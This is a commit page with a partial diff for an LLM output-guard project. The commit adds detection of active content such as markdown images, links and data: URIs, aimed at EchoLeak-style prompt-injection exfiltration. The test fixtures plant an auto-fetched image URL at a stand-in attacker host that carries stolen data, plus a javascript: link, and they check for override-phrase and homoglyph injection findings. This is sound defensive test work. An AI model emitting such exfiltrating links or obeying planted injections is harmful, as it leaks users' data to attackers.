1
0
Fork 0

feat(guard): active-content detector wired into the output gate (review MAJOR #1)

Close the EchoLeak wiring hole (CVE-2025-32711 class): markdown images/
links, reference definitions, autolinks, raw active HTML and data: URIs
now surface as report-only findings (active:*, OWASP LLM05) in
scan_output step 6, so screen_output and okf.import_bundle dispose of
them instead of admitting them with findings=[].

- new active_content.py: canonical home of the shared pattern table +
  scan_active_content; neutralize refactored to import it (mutating API
  and behavior unchanged, all neutralize tests pass as-is)
- images/links flagged only for absolute/protocol-relative URLs:
  relative in-bundle links are legitimate wiki/OKF mechanism (principle 5)
- evidence carries defanged URLs only (hxxps://evil[.]example)
- EchoLeak vectors planted in both showcases; detach proofs cover them
- README export list + checklist step 6, CLAUDE.md context line updated

Suite: 321 -> 341 passed. Core invariant intact (dependencies=[]).
This commit is contained in:
Kjell Tore Guttormsen 2026-07-15 06:11:33 +02:00
commit 4d53765c63
9 changed files with 454 additions and 101 deletions

View file

@ -75,6 +75,11 @@ def _poisoned_bundle() -> dict:
"../escape.md": "---\ntype: table\n---\nbody\n",
# T4 — a reserved basename shadows the directory listing.
"index.md": "---\ntype: table\ndescription: Listing.\n---\nbody\n",
# LLM05 — the zero-click EchoLeak primitive: an auto-fetched markdown
# image URL that exfiltrates the moment the concept is rendered.
"echoleak.md": (
"---\ntype: table\n---\nSee ![chart](https://evil.example/leak?d=stolen) here.\n"
),
# T5a — a dangerous-scheme cross-link is refused in the link graph.
"dangerous-link.md": "---\ntype: table\n---\nSee [x](javascript:alert(1)) here.\n",
# §7.2 — a dangling cross-link to an absent concept (dormant-injection signal).
@ -123,6 +128,7 @@ def _surface_checks(result: BundleResult) -> dict:
"T3:resource": rejected("bad-resource.md"),
"T2:frontmatter": rejected("dangerous-frontmatter.md"),
"T1:body-injection": caught("body-injection.md", "override:ignore-previous"),
"LLM05:echoleak-image": caught("echoleak.md", "active:markdown-image"),
"T1:frontmatter-desc": bool(desc and desc.report.found),
"obfuscation:homoglyph": caught("obfuscated.md", "override:forget-instructions"),
"T5a:dangerous-link": any(